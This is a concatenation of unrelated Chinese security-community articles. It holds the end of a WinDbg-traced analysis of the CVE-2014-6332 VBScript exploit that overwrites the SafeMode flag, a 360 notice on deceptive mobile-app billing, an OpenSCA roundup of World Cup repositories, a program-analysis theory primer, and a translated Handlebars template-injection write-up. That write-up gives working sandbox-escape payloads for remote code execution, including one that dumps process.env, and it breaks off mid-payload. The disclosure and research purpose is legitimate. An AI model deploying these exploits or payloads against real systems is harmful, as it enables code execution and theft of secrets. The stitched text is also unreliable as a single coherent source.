02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 08 00 00 00 08 00 00 00-24 87 df 01 01 00 a0 41 ........$......A
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000000 esi=0249cbf8 edi=01df84f0
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb0cb42 0013ebf0 01df84f0 01df84e0
0:005> dd 01df84e0 L4
01df84e0 00000003 00000000 01df8648 00000000
0:005> dd 01df8724-8-4 L8
01df8718 6fb04934 00000001 01df8648 01e007f8
01df8728 01e028bc 00000000 01df8648 0013ebf0
#### 3 修改SafeMode
最后我们再来看下exploit如何借助Write
primitive对SafeMode标志进行修改。由前面的分析可知此标志是vbscript!COleScript对象指针特定偏移处的一个值，而vbscript!COleScript对象指针又可以通过vbscript!CScriptEntryPoint对象指针得到，因此SafeMode标志的查找过程如下：
0:005> ln poi(01df8718)
(6fb04934) vbscript!CScriptEntryPoint::`vftable' | (6fb1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> dd 01df8718+8 L1
01df8720 01df8648
0:005> dd 01df8648+10 L1
01df8658 01df75f0
0:005> ln poi(01df75f0)
(6fb04868) vbscript!COleScript::`vftable' | (6fb1fdbc) vbscript!`string'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
0:005> dd 01df75f0+174 L4
01df7764 0000000e 00000000 00000000 00000000
当找到此标志所在内存地址后，接下去就是对其进行修改，相关代码如下：
if (j=14) then
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) 'write primitive'
redim Preserve aa(a0)
exit for
end if
我们来跟下这个过程：
0:005> bl
0 e 7664ec2c 0001 (0001) 0:**** OLEAUT32!SafeArrayRedim ".if(poi(poi(02e67900)-4)=0x0e){}.else{gc}"
1 d 6fb02e64 0001 (0001) 0:**** vbscript!AssignVar
2 d 6fb11f4c 0001 (0001) 0:**** vbscript!AccessArray
0:005> g
eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84e0 edi=01e00900
eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41 ........hw.....A
0:005> bp OLEAUT32!SafeArrayRedim
breakpoint 0 redefined
0:005> g
Breakpoint 0 hit
eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000078 esi=01df8510 edi=01e00900
eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> be *
0:005> g
Breakpoint 2 hit
eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00910
eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> dd esp L8
0249cd44 6fb12028 0249ce54 0013f274 00000001
0249cd54 01df8510 0249cd70 0249ce5c 6fb0dc01
0:005> gu
eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000002 esi=00000001 edi=01e00910
eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::LockArray+0x1a:
6fb12028 85c0 test eax,eax
0:005> dd poi(0249ce54) L4
02e67930 00000000 00000000 00000000 00000000
0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x02e678f0 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> g
Breakpoint 2 hit
eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> dd esp L8
0249cd44 6fb12028 0249ce54 0013f23c 00000001
0249cd54 01df8500 0249cd70 0249ce5c 6fb0dc01
0:005> gu
eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000060 esi=00000001 edi=01e00900
eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::LockArray+0x1a:
6fb12028 85c0 test eax,eax
0:005> dd poi(0249ce54) L4
02e67918 0000200c 0000200c 00405014 0249cc18
0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x02e66ec8 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> g
Breakpoint 2 hit
eax=0249ce54 ebx=0249ceb4 ecx=01df8500 edx=0000400c esi=00000001 edi=00000010
eip=6fb11f4c esp=0249cd5c ebp=0249ce5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> dd esp L8
0249cd5c 6fb0255c 0249ce54 01df8500 00000001
0249cd6c 01df84f0 00000000 0249d070 0249ceb4
0:005> dd 01df8500 L4
01df8500 0000400c 00000000 02e67918 00000000
0:005> dd 02e67918 L4
02e67918 0000200c 0000200c 00405014 0249cc18
0:005> dd 00405014 L6
00405014 08800001 00000001 00000000 00000000
00405024 7fff0000 00000000
0:005> dt ole32!tagSAFEARRAY 00405014
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 1
+0x008 cLocks : 0
+0x00c pvData : (null)
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
可以看到，之前精心构造的SAFEARRAY结构在这里用到了，通过它可返回以索引值i+&h11c+k为起始地址的Variant结构变量，即pvData+(i+&h11c+k)*cbElements=i+&h11c+k，因此可实现Write
primitive，这里该索引值为0x01df7760：
......
0:005> p
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11fe8 esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray+0xd6:
6fb11fe8 8b4604 mov eax,dword ptr [esi+4] ds:0023:00405018=00000001
0:005>
eax=00000001 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11feb esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray+0xd9:
6fb11feb 0faf450c imul eax,dword ptr [ebp+0Ch] ss:0023:0249cd64=01df7760
0:005>
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11fef esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AccessArray+0xdd:
6fb11fef 03460c add eax,dword ptr [esi+0Ch] ds:0023:00405020=00000000
0:005>
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11ff2 esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AccessArray+0xe0:
6fb11ff2 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:0249cd60=0249ce54
0:005>
eax=01df7760 ebx=01df84f0 ecx=0249ce54 edx=00000003 esi=00405014 edi=00405024
eip=6fb11ff5 esp=0249cd3c ebp=0249cd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AccessArray+0xe3:
6fb11ff5 8901 mov dword ptr [ecx],eax ds:0023:0249ce54=01df8500
......
0:005> dd poi(0249ce54) L4
01df7760 00000000 0000000e 00000000 00000000
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41 ........hw.....A
再接着就是将前面获取的ab(4)赋给这个Variant结构变量：
0:005> g
Breakpoint 1 hit
eax=01df8510 ebx=0249ceb4 ecx=0249ceb4 edx=00000003 esi=00000001 edi=00000010
eip=6fb02e64 esp=0249cd60 ebp=0249ce5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 0 hit
eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df8510 edi=01e00900
eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> dd 01df7760 L4
01df7760 00000000 00000000 00000000 00000000
可以看到SafeMode标志被清零了，因此记事本也就能弹出来了。
### 0x05 参考
* <https://www.exploit-db.com/exploits/35229/>
* <http://blog.vulnhunt.com/index.php/2014/11/18/about_cve-2014-6332/> (web archive)
* <http://www.vxjump.net/files/vuln_analysis/a_cve-2014-6332.txt>
* <http://xteam.baidu.com/?p=104>
* <http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/>
* * * | 社区文章 |
# 盘点手机APP扣费陷阱
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360移动安全团队**
3月15日晚，央视在3.15晚会上曝光手机恶意程序扣费乱象等情况。节目中揭露了有些商家为了谋取利益，对软件资费信息进行模糊处理，让用户不仔细看根本看不到资费信息，从而让用户不经意间损失话费，防不胜防。
[](http://blogs.360.cn/360mobile/files/2016/03/image1.jpg)
360移动安全团队发现这种资费信息模糊化处理多种多样，主要通过调整字体和颜色、信息诱导、文字淹没构造用户视觉陷阱等手段。我们列举了一些具有代表性的扣费陷阱，提醒用户在使用软件时多加小心，避免造成不必要的经济损失。
* 过关奖励陷阱—步骤诱导
[](http://blogs.360.cn/360mobile/files/2016/03/image2.jpg)
* 获取礼包陷阱—背景与资费提示色差小
[](http://blogs.360.cn/360mobile/files/2016/03/image4.png)
* 确定按钮陷阱—使用透明字体
[](http://blogs.360.cn/360mobile/files/2016/03/image5.jpeg)
* 领取奖励陷阱—密密麻麻的小字体
[](http://blogs.360.cn/360mobile/files/2016/03/image6.png)
* 免费金币陷阱—资费信息在提示框背后
[](http://blogs.360.cn/360mobile/files/2016/03/image7.png)
* 赠送金币陷阱—资费提示有歧义
[](http://blogs.360.cn/360mobile/files/2016/03/image8.jpeg)
* 退出陷阱—使用浅颜色字体
[](http://blogs.360.cn/360mobile/files/2016/03/image9.png)
* 文字相似陷阱—文字淹没
[](http://blogs.360.cn/360mobile/files/2016/03/image10.png)
* 用户认知陷阱—先免费，后收费
[](http://blogs.360.cn/360mobile/files/2016/03/image11.jpg)
* 视觉焦点陷阱—资费提示远离关注的视线范围
[](http://blogs.360.cn/360mobile/files/2016/03/image13.png)
以上这些实例都是要进行付费，但是在手机屏幕的显著位置上都突出了像“赠”、“送”、“免费”、“奖励”、“礼包”等文字，并且使用“领取”、“确认”、“好的”等按钮来诱导用户进行点击，从而造成用户在不知情的情况下扣费。
360手机安全专家建议用户，下载手机APP时通过官方网站或具备鉴定能力的第三方手机应用市场。同时使用360手机卫士定期扫描查杀恶意软件，保障用户的手机资费安全。
[](http://blogs.360.cn/360mobile/files/2016/03/image14.png) | 社区文章 |
21日零点，卡塔尔海湾球场吹响了第22届世界杯的第一声哨。四年一度，足球以独特的方式将每个人相连。
* 支持的队伍比赛在即，想快速补课或找回历届杯赛的记忆？
* 疫情当前，想远程与三五好友一起看比赛？
* 看到各色各样的竞猜广告，想了解竞猜的代码逻辑？
**万能的开源通通可以安排！**
为了帮助大家找到更好的世界杯打开方式，OpenSCA项目组搜罗了一些与世界杯相关的开源项目。一起来看看
# 快照：球迷都在用什么编程语言？
在Github搜索“worldcup”，可以看到来自世界各地的共3000+个开源仓库；其中JS占比近20%，HTML紧随其后，Java、Python也榜上有名。
Gitee上“worldcup”相关仓库共38个，“世界杯”46个，其中使用最多的编程语言依次是Android、Java、JS和Python；可以看出，小程序技能树的点亮还是较为明显的。
* * *
# Worldcup OS 推荐
### 类别一：比赛数据全掌握
当前很多优秀的体育APP和新闻网站都有非常成熟的战报体系，一场比赛从前瞻到实时直播/更新数据再到回顾，可以做得非常迅速完整。
但如果要一眼快速了解一场或多场比赛的关键信息，花里胡哨的战报就不再适用了。此外，如果想快速get往届（特别是10年南非世界杯之前）世界杯某场比赛的比分和进球时间等信息，搜出来的大概率都是过期的网页报道和需要播放的视频，费时又费力。
就简洁实用完整这几个方向来说，开源的世界杯数据库和看板还是很香的~
**openfootball/worldcup**
仓库地址：
<https://github.com/openfootball/worldcup>
openfootball/worldcup是一个开源数据库，收录了自1930年以来的世界杯比赛的分组、比赛日，所有比赛的时间、对阵双方、球场、进球球员及时间，还包括补时情况、点球等细节。
图1 openfootball / worldcup示例
经OpenSCA检测，该项目未引入开源组件。下图为openfootball/worldcup检测结果。
**estiens / world_cup_json**
仓库地址：
<https://github.com/openfootball/worldcup>
estiens/world_cup_json
是一个抓取世界杯比赛数据并输出为JSON的后端工具，由44位贡献者共同维护。它收录了从2010年世界杯及预选赛起每一场比赛的所有详细数据，2022年卡塔尔世界杯的数据也在持续更新中。
21日使用该项目时，获得了以下输出结果：
经OpenSCA检测，该项目共包含101个开源组件，其中2个组件风险等级为中危，共有2个漏洞，下图为检测结果。
**raminmr / free-api-worldcup2022**
仓库地址：
<https://github.com/raminmr/free-api-worldcup2022>
raminmr/free-api-worldcup2022是一个实时获取2022卡塔尔世界杯比赛及排名信息的API工具，使用简单、信息详细，还包含了对战双方的国旗。
下图为raminmr / free-api-worldcup2022请求返回示例
经OpenSCA检测，该项目未引入开源组件。下图为raminmr/free-api-worldcup2022检测结果。
**cedricblondeau/world-cup-2018-cli-dashboard**
仓库地址：
<https://github.com/cedricblondeau/world-cup-2018-cli-dashboard>
cedricblondeau/world-cup-2018-cli-dashboard是一款提供2018年俄罗斯世界杯CLI数据看板的工具，还支持docker化部署。虽然俄罗斯世界杯已成往事，但仍可通过这个看板获取相关比赛详细信息。进阶一点的玩法还可以使用源码二开，抓取卡塔尔世界杯的比赛数据并以看板形式呈现，谁看了不说声酷炫。
下图为cedricblondeau / world-cup-2018-cli-dashboard示例
经OpenSCA检测，该项目共包含开源组件1319个，无漏洞。下图为cedricblondeau/world-cup-2018-cli-dashboard检测结果。
### 类别二：一起看球一起嗨
独乐乐不如众乐乐。然而受疫情影响，三五好友相聚一处看球侃球恐怕难以实现。通过共享屏幕和实时语音，四舍五入也算共同见证每个精彩瞬间了。
**HeartLinked / TalkAboutTheWorldCup**
项目地址：
<https://github.com/HeartLinked/TalkAboutTheWorldCup>
TalkAboutTheWorldCup（一起来侃世界杯）可以实时共享手机屏幕，用户之间可以通过摄像头实时通话，也可通过内置聊天框打字聊天。实时共享可是个好东西，只需购买一个视频网站或转播平台的VIP，就能真正实现一人充钱大家享受。
经OpenSCA检测，该项目共有8个组件，其中1个组件风险等级为中危，共有2个漏洞。下图为HeartLinked/TalkAboutTheWorldCup检测结果
### 类别三：开源竞猜图一乐
竞猜是重大赛事期间热门的娱乐项目，其实现的技术逻辑也很令人好奇。开源就为解析竞猜程序背后的技术逻辑提供了非常好的素材和机会。
**syxolk / euro2016**
项目地址：
<https://github.com/syxolk/euro2016>
syxolk/euro2016是一个开源的Web服务，竞猜可以赢得积分，最终获得象征“球赛预测王”的小皇冠标识；其实现逻辑里还引入了比分和积分的关联关系。
经OpenSCA检测，该项目共包含416个开源组件，其中1个组件风险等级为中危险，共有1个漏洞。下图为syxolk/euro2016检测结果。
* * *
### 使用OpenSCA治理开源风险**
尝试使用这些项目或对它们进行二开前，记得使用OpenSCA进行一次软件成分分析；只需通过一条命令即可掌握项目中开源组件的漏洞及风险情况，还支持在本地输出JSON、HTML格式的检测报告及SPDX格式的SBOM清单。
除了上文展示的组件及漏洞结果概览，OpenSCA提供的报告中还会展示组件及漏洞详情。示例如下图，记录了在estiens/world_cup_json中检出的一个中危组件及其包含的漏洞详细信息。下图为OpenSCA
HTML报告示例。
本期OpenSCA项目组整理了若干与世界杯相关的开源项目。若还有其他开源项目推荐或二开尝试分享，欢迎随时与我们联系~
感谢每一位开源社区成员对OpenSCA的支持和贡献。 | 社区文章 |
# 程序分析理论（引论）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言 Preface
本文是关于设计静态分析程序的前置基础理论系列介绍的第一章 引入和介绍
## 介绍 Introduction
### 为什么要代码分析 Why Program Analysis
不同于渗透测试的代码分析，本文的代码分析是程序开发流程中的一个重要环节。本文的代码分析包含两种基本思路：一种是遍历所有路径
一种是语义分析。基于第一种思路，我们能在确保程序能够正常运行的同时获取所有可能的输出结果从而在程序使用过程中将输出控制在这些已知正常的结果之中，达到程序能够可控安全。基于第二种思路，我们能够利用程序低成本高效率的实现通过分析语义证明代码安全性。
### 代码分析能做什么 What Can Program Analysis Do
首先，我们要确认的是代码分析是否是完美的。是否存在写出一种代码分析程序能够适用于证明任何程序的安全性。答案是不能。以经典的停止问题作为说明，我们不能成功编写一个程序对所有的程序和输出的停止问题做出响应。正如我们不能判定SQL注入是由不受信任的输入构造的吗，指针被释放后是否被解除引用。当分析器发现错误时，程序停止，如果没有你们就继续运行。但是正是因为存在不可判定的问题，导致分析器无法准确判断安全性。这就出现了误报，漏报的现象
虽然，完美的代码分析程序不存在，但是有用的代码分析程序是可能的。有用的代码分析是在可靠性和完整性之间选择最好的位置实现最少的误报和漏报。可靠性指分析为真则为真，完整性指因为是真所以分析为真。所以代码分析能做的是面对不同需求选择最佳方案以满足需求。
### 不同代码分析方法的共性 The Nature of Program Analysis
**1.在所有的方法中，为了保持可计算性，我们只能提供近似解。 in order to remain computable one can only
provide approximate answers**
以下面代码为例：
S 是不包含y的一系列操作，我们可以清楚的知道，y的最后可能是1或者2.假设y只能是1，即x>0或者在x<=0 y=1
时，S会使程序崩溃。但是，现实是我们不能准确判断S
的情况，那么我们倾向于将1和2都考虑进去，也就是创建一个更大的输出集合，即使某些输出永远不会实现。这就是为了可计算性提供近似解。
**2.所有方法都要包含语义分析 all methods should include semantic analysis**
语义分析在于将所有用户可控的输入作为被污染的数据，将代码本身的数据作为没有被污染的数据。原则就是如果一个函数的参数可以是被污染的数据，那么参数也一定可以是未被污染的数据。但是，如果一个函数的参数只能是未被污染的数据，那么如果参数是被污染的数据，就会可能引起危险。
语义分析实现步骤：1. 定义所有变量为污染或者是未被污染 2. 对所有赋值语句进行转换 即x = y 转义成 污染参数 = 未被污染的参数 或者
未被污染的参数 = 被污染的参数 3. 依据污染 = 未污染 合法，未污染 = 污染 非法 判断程序是否安全
针对一些特殊的语法结构 如（if else / for之类的结构）我们有两种做法：
1. 基于语句的分析，即把所有可能性列出来，一一判断
2. 基于方法的分析，把每一个特殊结构单独分析，最后整合在一起
### 一个例子 An Example
以while循环为例。while通常会是一系列语句包括判断，执行，循环。那么我们可以把执行的赋值语句当作一个模块，判断和循环当作另一个模块。那么我们要对语法进行分类。其中包括算术运算，逻辑运算，赋值运算。同时运算符也是这么分类。随后对参数进行分类。包括变量，常量。除此之外，我们还要给每一个语句一个标签。使得我们对于while循环语句可以进行简单的描述。
接下来我们以下面代码作为演示
**Table1**
我们可以看见一系列形如[ y := x ]的表达式。这是对赋值运算的描述，右上角的数字属于语句的标签。一个完整语句用 ; 结尾。同时我们还用(
)对块语句进行包裹以解决歧义。此外，[ y > 1 ]是逻辑运算的描述。这样的描述方式可以让我们识别程序的基本架构，同时又不需要画出流程图
上述表达虽然具有逻辑性但是依旧无法直观对数据进行分析，所以我们做出如下图的表格作为补充
**Table2**
我们可以看到表格最上方一行 l RDentry(l) RDexit(l)
分别表示为我们给予语句的标签，进入该语句时所有的数据信息，退出该语句时所有的数据信息。左侧一列为标签，表格中一系列形如 (x,4) 的表达式的原型可以写作
(v,l) ，即 一个变量，和该变量的赋值语句的标签。我们可以看到最初标签都是 ?
即该变量的赋值语句并没有在我们描述的这一段代码中。同时，我们可以看到同一行中会出现多个同一个变量的表达式（如表格内第三行(z,2)
(z,4)）这是由于本文上面提到的代码分析的共性中的为了保持可计算性只提供近似解。我们可以看到Table1 中关于z的赋值语句有两条，分别是2和4
这也正对应表格内的(z,2) (z,4)。我们无法判断运行过程中是否会执行4语句，所以我们将2和4 都包含在可能的表中。
以上就是引入部分的全部内容，如果有任何不对的地方请与我联系。
_作者：DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
文章来源：<https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html>
* * *
### 前言
我们在一个名为 **handlebars** 的JavaScript模板库上发现了一个0day漏洞，这个漏洞可用于获取Shopify Return
Magic应用上的远程代码执行权限。
### 我的心路历程
在2018年10月，Shopify组织HackeOne活动“H1-514”并邀请一些特定的研究人员参与，我是其中之一。在许多Shopify的应用中都包含一个名为“Return
Magic”的应用程序，该程序用于自动化完成Shopify客户的退货流程。
查看这个程序，我找到了一个名为Email
WorkFlow的功能，使用该功能店铺商家能够定制自动发送给需要退货的客户的电子邮件。用户可以在模板中使用一些变量例如：`{{order.number}}`
,`{{email}}`等等。随后，我决定测试该功能是否存在服务端模板注入，输入`{{this}}`
`{{self}}`，然后发送一份测试邮件给我自己，这封邮件内容包含`[object Object]`，这引起了我的注意。
因此，我花了一些时间试图找出这个程序所使用的模板引擎，我搜索了NodeJS模板库上流行的模板库，认为该程序使用的是 **mustache**
（后来发现不是）。然后我测试了mustache模板注入，但没有结果，因为mustache应该是一个logicless（无逻辑）模板引擎，无法调用函数。而然，我可以调用一些对象属性例如`{{this.__proto__}}`，甚至是`{{this.constructor.constructor}}`这样的构造函数。我尝试发送参数值至`this.constructor.constructor()`，但没有成功。
我承认这里没有漏洞，然后继续找别的bug。似乎上帝一定要我找出该漏洞，我在Shopify的slack频道上看到了一条消息，Shopify要求提交“疑似bug”。如果某人找到一些感觉可以利用的东西，他可以提交给Shopify安全团队，如果团队利用了这个漏洞，报告者能够获取全额赏金。我立即提交我所发现的内容，影响部分写为“可能存在服务端模板注入，这将导致服务器接管¯_(ツ)_/¯”。
两个月过去了，我仍没有收到Shopify关于这个“疑似bug”的任何回应，然后我被邀请至巴厘岛参加Synack主办的黑客活动。在那里我与Synack
红队成员碰面，活动结束后我应该回到埃及去，但在飞机起飞前三个小时我改变了注意，决定再待一段时间，然后飞往日本参加TrendMicro
CTF比赛。Synack红队的一些成员也决定延长呆在巴厘岛的时间，其中的一位是Matias，所以我决定与他一起度过这几天。在享受完沙滩和巴厘岛的美景后，我们回到酒店用餐，那时Matias告诉我他曾在一个赏金项目的bug中中用到了JavaScript沙盒逃逸，并确认漏洞。然后，我们整晚都在搜寻对象和构造函数，但是运气不佳，我们无法逃出沙盒。
我脑海中一直浮现出构造函数，我记得曾经在Shopify上找到过模板注入漏洞。我阅读以前的Hackone报告，然后确定模板不是mustanche，我在本地安装mustanche，使用mustanche解析`{{this}}`，返回的内容与Shopify程序不同。我再次搜索流行的NodeJS模板引擎，将那些使用花括号`{{}}`作为模板表达式的模板下载到本地。其中的一个库是
**handlebars** ，当我解析`{{this}}`时它返回了`[object Object]`（与Shopify程序的响应相同）。我查看了
**handlebars** 的文档，发现该模板并没有很多防护模板注入攻击的逻辑。此时我能够访问构造函数了，于是我决定探究参数是如何传递给函数的。
从文档中我还发现开发者能在模版范围内注册helpers的函数。我们可以像这样`{{helper "param1" "param2"
...params}}`传递参数至helpers。首先，我尝试发送`{{this.constructor.constructor
"console.log(process.pid)"}}`，但只返回字符`console.log(process.pid)`。我查看了源代码，想弄清楚发生了什么。在`runtime.js`中，有以下函数：
lambda: function(current, context) {
return typeof current === 'function' ? current.call(context) : current;
}
这个函数检查当前对象是否为“function”类型，如果是它将调用`current.call(context)`（`context`属于模板范围），不是则返回该对象本身。
我进一步分析handlebars文档，发现它在helpers中内置了 "with", "blockHelperMissing",
"forEach"函数等等。
审计完helpers的内置函数后，我对如何利用helpers的“with”函数有了一些想法。这个函数用于移动调节模板的context（上下文），因此，我能够在自己的上下文执行`curren.call(context)`。我尝试使用下面这段代码：
{{#with "console.log(process.pid)"}}
{{#this.constructor.constructor}}
{{#this}} {{/this}}
{{/this.constructor.constructor}}
{{/with}}
简单解释一下，将`console.log(process.pid)`作为当前的上下文传输，handlebars编译器遇到`this.constructor.constructor`并将其视为一个函数，它将当前的上下文作为函数参数来调用。然后使用`{{#with
this}}`（我们从函数构造函数调用返回的函数），此时`console.log(process.pid)`应该被执行。
然而这没有起作用，因为`function.call()`用一个`owner`对象作为一个参数，所以第一个参数是`owner`对象，其他的参数是发送给被调用函数的参数。因此，被调用的函数为`current.call(this,
context)`时，上面的payload就可以起作用。
我在巴厘岛呆了两晚然后飞往东京参加TrendMicro CTF。在东京的时候，我的头脑中还是充满着构造函数和对象的影子，我仍在查找沙盒逃逸的方法。
我想到了另一个办法，在上下文中使用`Array.map()`函数来调用构造函数，但仍失败了，因为编译器总是向我调用的任何函数传递一个别的参数，然后发生错误，因为payload被视为函数参数而不是函数体。
{{#with 1 as |int|}}
{{#blockHelperMissing int as |array|}} // This line will create an array and then we can access its constructor
{{#with (array.constructor "console.log(process.pid)")}}
{{this.pop}} // pop unnecessary parameter pushed by the compiler
{{array.map this.constructor.constructor array}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
这似乎有很多可以逃出沙盒的方法，但是我还面对一个大问题：无论调用模板内的哪个函数，模板编译器将把模板范围内的`Object`添加至最后一个参数。
举个例子，如果我想调用`constructor.constructor("test","test")`，编译器将把它改为`constructor.constructor("test",
"test", this)`再调用，这是因为调用了类似Object.toString()这样的函数，该函数将其转化为一个字符。该匿名函数可能是以下这种形式：
function anonymous(test,test){
[object Object]
}
这将导致错误的发生。
我试了很多方法，但是不够幸运。然后，我决定打开JavaScript文档查阅Object原型，想要找到帮助我实现沙盒逃逸的方法。
我发现可以使用`Object.prototype.defineProperty()`来重写`Object.prototype.toString()`函数，利用这点可以调用返回用户可控的字符串（有效负载）。
因为在该模板中我不能定义函数，所以我需要找到一个已经定义并且在模板范围内容，可以返回用户可控的输入结果的函数。
举个例子，下面这个nodejs 应用程序存在类似漏洞：
test.js
var handlebars = require('handlebars'),
fs = require('fs');
var storeName = "console.log(process.pid)" // this should be a user-controlled string
function getStoreName(){
return storeName;
}
var scope = {
getStoreName: getStoreName
}
fs.readFile('example.html', 'utf-8', function(error, source){
var template = handlebars.compile(source);
var html = template(data);
console.log(html)
});
example.html
{{#with this as |test|}}
// with is a helper that sets whichever assigned to it as the context, we name our context test.
{{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}} // get the context resulted from the evaluated function, in this case, the descriptor of this.getStoreName where this is the template scope defined in data variable in test.js
{{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}} // overwrite Object.prototype.toString with "getStoreName()" defined in test.js
{{#with (test.constructor.constructor "test")}} {{/with}} // call the Function constructor.
{{/with}}
{{/with}}
{{/with}}
如果你运行这个模板，`console.log(process.pid)`将被执行。
$ node test.js
1337
我向Shopify报告如果模板范围内有一个可返回用户可控输入的函数，那么将有可能导致RCE。
后来我跟Ibrahim (@the_st0rm)交流了，他告诉我可以尝试使用`bind()`来构造一个新函数，调用该函数将执行我的RCE Payload。
查阅JavaScript文档：
> bind()方法创建一个新的函数，在调用时设置this关键字为提供的值。并在调用新函数时，将给定参数列表作为原函数的参数序列的前若干项。
现在我的想法是创建一个包含想要执行内容的字符，然后再重写`Object.prototype.toString()`，最后使用`bind()`将该函数绑定`toString()`到一个函数上。
我花了一些时间来将这点应用到handlebars模板上，最后在飞回埃及的航班上我写出了可行Poc（无需在模板范围内自定义函数）。
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "console.log(process.env)"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
